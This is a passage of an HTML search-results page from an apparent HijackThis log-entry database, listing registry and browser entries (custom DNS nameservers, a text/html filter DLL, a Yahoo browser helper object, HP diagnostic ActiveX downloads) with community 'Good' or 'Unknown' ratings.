<tr ><th scope='col' align='left' colspan='3' ><table cellspacing='2' cellpadding='0' border='0'> <td><FORM method='post' action='Search.php4'><input type='hidden' name='navi' value='0' /><INPUT type='hidden' name='search_for' value='{F27237D7-93C8-44C2-AC6E-D6057B9A918F}'> <INPUT class='press' type='submit' value='Next Pg'> </form></td> <td><FORM name='myform' method='post' action='Search.php4'><INPUT type='hidden' name='search_for' value='{F27237D7-93C8-44C2-AC6E-D6057B9A918F}'><select name="navi" style="font-size:10px; height:20px; width:100px" size="1" onchange="submit()" ><option value='-30'>PG 1 </option><option value='-30'>1</option><option value='0'>2</option><option value='30'>3</option><option value='60'>4</option><option value='90'>5</option></select></form></td></table></table> <FORM method='post' action='sas.php4'><table class='maintable' ><tr><th scope='col' align='center' >Result</th>
<th scope='col' align='center' >Good-Bad</th>
<th scope='col' align='center' >Search</th>
<th scope='col' align='center' >Hijack This Log File Entry</th></tr>

<tr><td></td><td align='center'></td><td align='left'></td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for={E0D9D74E-2C28-44C2-9DF8-854C640F8ECD}: NameServer = 66.75.164.89,66.75.164.90' target='_blank'>SS(9,898)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={E0D9D74E-2C28-44C2-9DF8-854C640F8ECD}: NameServer = 66.75.164.89,66.75.164.90' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=143749' onClick=" launchWindow('SAScom.php4?comments_for=143749', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O17 -<wbr>HKLM\System\CCS\Services\Tcpip\..\{E0D9D74E-2C28-4<wbr>4C2-9DF8-854C640F8ECD}: NameServer =<wbr>66.75.164.89,66.75.164.90</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for={E44B0D77-6295-44C2-9824-C09623F1EF92}: NameServer = 217.171.132.1 217.171.135.1' target='_blank'>SS(9,900)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={E44B0D77-6295-44C2-9824-C09623F1EF92}: NameServer = 217.171.132.1 217.171.135.1' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=231370' onClick=" launchWindow('SAScom.php4?comments_for=231370', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O17 -<wbr>HKLM\System\CCS\Services\Tcpip\..\{E44B0D77-6295-4<wbr>4C2-9824-C09623F1EF92}: NameServer = 217.171.132.1<wbr>217.171.135.1</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for={E44B0D77-6295-44C2-9824-C09623F1EF92}: NameServer = 217.171.135.1 217.171.132.1' target='_blank'>SS(9,900)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={E44B0D77-6295-44C2-9824-C09623F1EF92}: NameServer = 217.171.135.1 217.171.132.1' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=231383' onClick=" launchWindow('SAScom.php4?comments_for=231383', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O17 -<wbr>HKLM\System\CCS\Services\Tcpip\..\{E44B0D77-6295-4<wbr>4C2-9824-C09623F1EF92}: NameServer = 217.171.135.1<wbr>217.171.132.1</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for={9381f188-44c2-417f-8563-06b384361984}' target='_blank'>SS(137)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={9381f188-44c2-417f-8563-06b384361984}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=284086' onClick=" launchWindow('SAScom.php4?comments_for=284086', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O18 - Filter hijack: text/html -<wbr>{9381f188-44c2-417f-8563-06b384361984} -<wbr>C:\WINDOWS\batmeter16.dll</td></tr><INPUT type='hidden' name='gotopage' value='Search.php4?search_for={F27237D7-93C8-44C2-AC6E-D6057B9A918F}&search=SAS-Search'><tr ><td align='center' bgcolor='#8FBC0F'>Good</td><td align='center'>1 - 0</td><td align='center' ><a HREF='Search.php4?search_for={38928D50-8A48-44C2-945F-D2F23F771410}' target='_blank'>SS(127)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={38928D50-8A48-44C2-945F-D2F23F771410}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=29018' onClick=" launchWindow('SAScom.php4?comments_for=29018', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O2 - BHO: AntiFish Class -<wbr>{38928D50-8A48-44C2-945F-D2F23F771410} -<wbr>C:\PROGRA~1\Yahoo!\ASSIST~1\Assist\yangling.dll</td></tr><tr class='odd'><td align='center' bgcolor='#8FBC0F'>Good</td><td align='center'>1 - 0</td><td align='center' ><a HREF='Search.php4?search_for={4CCA4E80-9259-11D9-AC6E-444553544200}' target='_blank'>SS(279)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={4CCA4E80-9259-11D9-AC6E-444553544200}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=56770' onClick=" launchWindow('SAScom.php4?comments_for=56770', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {4CCA4E80-9259-11D9-AC6E-444553544200}<wbr>-<wbr>http://h30155.www3.hp.com/ediags/dd/install/HPInst<wbr>allMgr_v01_5.cab</td></tr><tr ><td align='center' bgcolor='#8FBC0F'>Good</td><td align='center'>1 - 0</td><td align='center' ><a HREF='Search.php4?search_for={4CCA4E80-9259-11D9-AC6E-444553544200}' target='_blank'>SS(279)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={4CCA4E80-9259-11D9-AC6E-444553544200}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=62591' onClick=" launchWindow('SAScom.php4?comments_for=62591', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {4CCA4E80-9259-11D9-AC6E-444553544200}<wbr>(FixController Control) -<wbr>http://h30155.www3.hp.com/ediags/dd/install/HPInst<wbr>allMgr_v01_5.cab</td></tr><tr class='odd'><td align='center' bgcolor='#8FBC0F'>Good</td><td align='center'>1 - 0</td><td align='center' ><a HREF='Search.php4?search_for={4CCA4E80-9259-11D9-AC6E-444553544200}' target='_blank'>SS(279)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={4CCA4E80-9259-11D9-AC6E-444553544200}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=67113' onClick=" launchWindow('SAScom.php4?comments_for=67113', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {4CCA4E80-9259-11D9-AC6E-444553544200}<wbr>-<wbr>http://h30155.www3.hp.com/ediags/dd/install/HPInst<wbr>allMgr_v01_6.cab</td></tr><tr ><td align='center' bgcolor='#8FBC0F'>Good</td><td align='center'>1 - 0</td><td align='center' ><a HREF='Search.php4?search_for={4CCA4E6B-9259-11D9-AC6E-444553544200}' target='_blank'>SS(279)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={4CCA4E6B-9259-11D9-AC6E-444553544200}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=67928' onClick=" launchWindow('SAScom.php4?comments_for=67928', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {4CCA4E6B-9259-11D9-AC6E-444553544200}<wbr>(FixController Control) -<wbr>http://h20264.www2.hp.com/ediags/dd/install/HPInst<wbr>allMgr_v01.cab</td></tr><tr class='odd'><td align='center' bgcolor='#8FBC0F'>Good</td><td align='center'>1 - 0</td><td align='center' ><a HREF='Search.php4?search_for={4CCA4E6B-9259-11D9-AC6E-444553544200}' target='_blank'>SS(279)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={4CCA4E6B-9259-11D9-AC6E-444553544200}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=68013' onClick=" launchWindow('SAScom.php4?comments_for=68013', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {4CCA4E6B-9259-11D9-AC6E-444553544200}<wbr>-<wbr>http://h30155.www3.hp.com/ediags/dd/install/..